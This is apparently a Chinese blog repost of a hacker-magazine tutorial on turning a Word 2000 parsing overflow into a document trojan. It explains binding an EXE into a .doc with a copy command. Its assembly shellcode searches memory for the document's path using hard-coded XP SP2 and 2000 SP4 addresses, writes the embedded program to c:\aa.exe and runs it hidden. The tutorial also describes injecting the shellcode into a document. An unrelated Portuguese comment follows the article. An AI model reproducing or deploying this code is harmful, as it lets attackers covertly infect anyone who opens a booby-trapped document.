Word型的ShellCode

曹军分析了导致去年“万珍”病毒的Word 2000溢出漏洞细节,但并没涉及漏洞的具体利用;第4期文章中,黑防讨论了生成WMF木马的ShellCode的设计与实现。由于自身的特点,Word木马的设计与前者有较大的区别,下面由我对此进行一下分析。

预备知识

讨论ShellCode之前,我们需要掌握几个预备知识:

1.诸如Doc、PDF、WMF、Jpg等文件内容解析过程中引发的漏洞,我们都称之为文件解析漏洞。由于漏洞利用的载体是文件,因此这类漏洞最大的特点就是可以制作成木马。

2.通过文件解析漏洞制作木马的方法有3种:第一种是通过ShellCode来完成全部木马功能,缺陷是往往可能受到ShellCode字节数的限制;第2种是通过ShellCode到指定的URL下载并执行木马文件,缺陷是由于访问网络而可能受到防火墙的限制;第3种是在文件中直接绑定EXE木马文件,这种方式比较隐蔽,ShellCode只负责生成并运行木马文件,复杂的网络通信与系统访问功能都由木马文件来完成。本文中采用第三种方法进行操作。

3.同WMF木马的制作一样,通过copy命令即可在Doc文件中绑定EXE文件: copy /b old.doc+aa.exe new.doc。事实上上,绑定两个文件大多可以通过该命令来完成。

4、与WMF木马基于IE传播不同,Word木马则可能有多种传播形式:E-mail、QQ、IE等。因此,通过在IE临时文件夹(TIF)中查找文件的思路就不可靠了。

ShellCode设计思路

有了上面的预备知识,在假设漏洞已经分析清楚的前提下,ShellCode的设计思路如下:

1.查找ShellCode可用到的各API函数地址,这里没什么技巧。

2.绑定木马后的Doc文件查找,这是关键。前面说了,最好不通过TIF来查找,因为成功率很低。因此最有效的办法就是从内存中进行搜索文件路径,方法如下:

1)找到Doc文件中填写ShellCode的位置,将前两个字节改为EB FE(JMP -2):

EB FE前面4字节0x0013C3F4就是XP SP2下ShellCode地址。

2)用Word打开上述Doc文件,可以看到CPU占有率达到100%。打开 Softice,输入命令code on,发现EIP指针停留在EB FE指令上。

3)Alt+D调出数据区,发现EB FE指令后不远的内存区域内,总包含我们需要的Doc文件路径。因此,我们通过动态搜索内存的方法可以很快找到地址。但必须注意一个问题:要保证从搜索开始地址到Doc文件路径存放地址之间的内存区域一定要连续可读,否则将难以实现。

3.测试时发现内存中Doc文件路径是以UNICODE形式表现的,所以必须通过CreateFileW函数打开该Doc文件,然后通过CreateFileA创建文件aa.exe。

4.通过SetFilePointer函数,让Doc文件的指针指向aa.exe文件数据开始的地方,即指向“MZ”。

5.循环从Doc文件中读取aa.exe文件数据,并写入aa.exe。

6.执行生成的aa.exe,并安全退出WinWord。

汇编实现及ShellCode的提取

思路整理好后,我们开始编程。此程序在Windows XP SP2 +VC6下汇编实现,并测试通过。

1.查找ShellCode可用到的各API函数地址,包括GetProcAddress、LoadLibraryA、CreateFileW、CreateFileA、SetFilePointer、ReadFile、WriteFile、WinExec、ExitThread等。这些函数全部在Kernel32.dll中,具体实现请参考4期溢出文章中的详细介绍,这里仅给出存放函数地址的内存规划

2.在内存中动态搜索Doc文件路径。根据上面的思路,XP SP2下从0x0013c300开始搜索,2000+SP4下从0x0012c300开始搜索。

小知识:由于Word2000的编译器不是2003.NET的,因此2003下该漏洞利用也应该没问题,各位读者可以测试一下。

搜索部分的汇编代码如下:

//从0x0013c300处开始向高地址处搜索当前doc文件路径,搜索标志为:\

//留出空间以备将来存放长的数据

sub esp, 0x800

mov esi, esp

add esi, 4

mov edi, 0x12c300

mov ebx, 0x005C003A //“:\”UNICODE形式

xor ecx, ecx //初始为0

//循环比较

comp:

inc ecx

cmp ebx, dword ptr[edi + ecx - 1]

jnz comp

3.找到Doc文件路径后,通过CreateFileW函数打开该Doc文件,然后通过CreateFileA创建文件aa.exe。汇编代码如下:

lea ebx, dword ptr[edi + ecx - 3]

push 0

push 0x80 //FILE_ATTRIBUTE_NORMAL

push 3 //OPEN_EXISTING

push 0

push 3 //FILE_SHARE_READ | FILE_SHARE_WRITE

push 0x80000000 //GENERIC_READ

push ebx

call dword ptr[ebp + 28h] //CreateFileW

cmp eax, 0

jle gameover //-1则结束

mov dword ptr[ebp + 30h], eax //保存doc文件句柄

//创建可执行文件c:\aa.exe

mov dword ptr[ebp], 0x615c3a63

mov dword ptr[ebp + 4], 'xe.a'

mov dword ptr[ebp + 8], 'e'

push 0

push 0 //FILE_ATTRIBUTE_NORMAL

push 2 //CREATE_ALWAYS

push 0

push 0

push 0x40000000 //GENERIC_WRITE

push ebp

call dword ptr[ebp + 24h] //CreateFileA

cmp eax, 0

jle gameover

mov dword ptr[ebp + 34h], eax //保存exe文件句柄

4.通过SetFilePointer函数让Doc文件指针指向aa.exe文件数据开始的地方,即指向“MZ”。该位置可以直接从UltraEdit32中读取。汇编代码如下:

//SetFilePointer设置文件偏移(exe文件位置)

push 0

push 0

push 0x6800 //exe文件数据开始处

mov eax, dword ptr[ebp + 30h] //doc文件句柄

push eax

call dword ptr[ebp + 20h] //SetFilePointer

5.循环从Doc文件中读取aa.exe文件数据,并写入aa.exe。汇编代码如下:

mov dword ptr[ebp + 40h], 0 //保存每次实际读取的数据

mov dword ptr[ebp + 44h], 0 //保存每次实际写入的数据

Read_Write_exe:

push 0

lea eax, dword ptr[ebp + 40h]

push eax

push 0x400 //每次预定读取1024字节

push esi //存放每次读取后数据的缓冲区地址

push dword ptr[ebp + 30h] //doc文件句柄

call dword ptr[ebp+1Ch] //ReadFile

push 0

lea eax, dword ptr[ebp + 44h] //每次实际写入的数据字节数地址

push eax

push dword ptr[ebp + 40h]

push esi

push dword ptr[ebp + 34h] //exe文件句柄

call dword ptr[ebp+18h] //WriteFile

cmp dword ptr[ebp + 44h], 0x400 //判断是否读写完毕

jge Read_Write_exe

//关闭doc和exe文件句柄

push dword ptr[ebp+30h]

call dword ptr[ebp + 38h] //CloseHandle

push dword ptr[ebp+34h]

call dword ptr[ebp + 38h] //CloseHandle

6、最后执行生成的aa.exe,并安全退出WinWord。汇编代码如下:

push 0 //SW_HIDE

push ebp

call dword ptr[ebp + 14h] //Winexec

gameover:

//ExitThread

push 0

call dword ptr[ebp + 3Ch] //ExitThread

OK,汇编实现就是这样了,接下来就是ShellCode的提取。提取方法以前黑防也介绍过,就是从VC调试界面的内存窗口中直接读取汇编代码对应的机器编码:

然后将这些二进制数据拷贝到UltraEdit32中,再通过一个简单的转换程序转换为我们熟悉的\x形式即可。具体过程这里就不再讨论了,在光盘中我直接给出转换程序代码。

Word木马的构造与测试

ShellCode提取之后,我们再通过两个简单的转换程序写入到Doc文档中。为了不破坏Doc文档,数据写入的方式应该采用“改写”而不是“插入”。两个转换程序分别为readdoc和newdoc:前者读取Doc文件数据,后者根据前者得到的数据进行改写,并重新生成Doc文件。程序光盘附带,大家直接编译就可以了。

One thought on “Word型的ShellCode

  1. Oxalá seja da Cultura mas duvido.Dúvida metódica tipo Descartes!Afinal temos tido &#OCL;817TURA» na Rádio, na Imprensa,na TV nos museus etc…Basta ser burguesa e tipo His Master Voice tutelada pelos iluminados do Poder.Joseph

Leave a Reply

Your email address will not be published. Required fields are marked *